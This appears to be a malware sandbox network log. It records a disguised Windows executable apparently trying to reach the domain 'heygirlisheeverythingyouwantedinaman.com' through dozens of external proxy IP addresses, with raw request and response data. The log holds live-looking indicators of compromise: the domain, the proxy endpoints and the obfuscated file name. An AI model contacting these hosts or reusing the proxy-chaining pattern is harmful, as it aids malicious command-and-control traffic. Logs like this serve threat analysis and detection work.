Mar 11, 2024 16:42:26.985951900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.985816002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.985464096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:57.079078913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:09.079435110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:33.079035044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
494	192.168.2.11	51880	152.32.132.220	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.982345104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
495	192.168.2.11	51881	152.32.132.220	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.983129025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
496	192.168.2.11	51884	152.32.132.220	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.985152006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
497	192.168.2.11	51885	152.32.132.220	443	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.987365961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
498	192.168.2.11	51651	104.16.106.154	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.989650011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.143918991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.11	51654	104.18.103.125	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.991265059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.145494938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.11	50950	212.108.145.195	9090	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.992238045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.11	51599	171.22.108.188	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.996876955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.532267094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.932754993 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.11	51596	66.45.246.194	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:20.997772932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.11	51554	116.199.168.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.005789042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.11	51573	98.162.25.29	31679	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.010195017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.11	51699	172.64.86.217	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.012397051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.166312933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.11	51652	201.77.108.196	999	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.014544964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.776536942 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.11	51712	104.19.85.214	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.018579960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.173151970 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.11	51568	218.57.210.186	9002	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.021713972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.985768080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.376530886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.782052994 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:24:41 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.11	51685	159.65.77.168	8585	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.024486065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.196850061 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.11	51726	104.21.66.184	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.024678946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.179135084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.11	51576	72.210.221.223	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.025516033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.11	51729	185.162.228.48	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.026010036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.180262089 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.11	51131	134.209.29.120	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.030864954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.302390099 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.11	49756	194.4.50.91	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.035744905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.11	51765	50.63.12.33	14738	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.078358889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.516609907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.173295975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.189372063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.11	51715	52.35.240.119	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.078473091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.273160934 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.11	51600	54.248.238.110	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:21.079729080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.350320101 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:21 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:21.351336002 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5c 25 21 ad 21 55 4c 2e 6b 8b 08 2e d1 84 85 04 fd 59 3a bc c6 60 59 17 5b 1a 53 ef 9b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&\%!!UL.k.Y:`Y[S*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:21.620814085 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 7e bb 7a 34 75 ea 28 b0 cd 82 5d 98 f3 90 9c 31 f4 91 43 83 02 43 3f d5 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9~z4u(]1CC?DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151440Z260311151440Z03110/U(heygirlisheeverythingyouwantedinaman.c
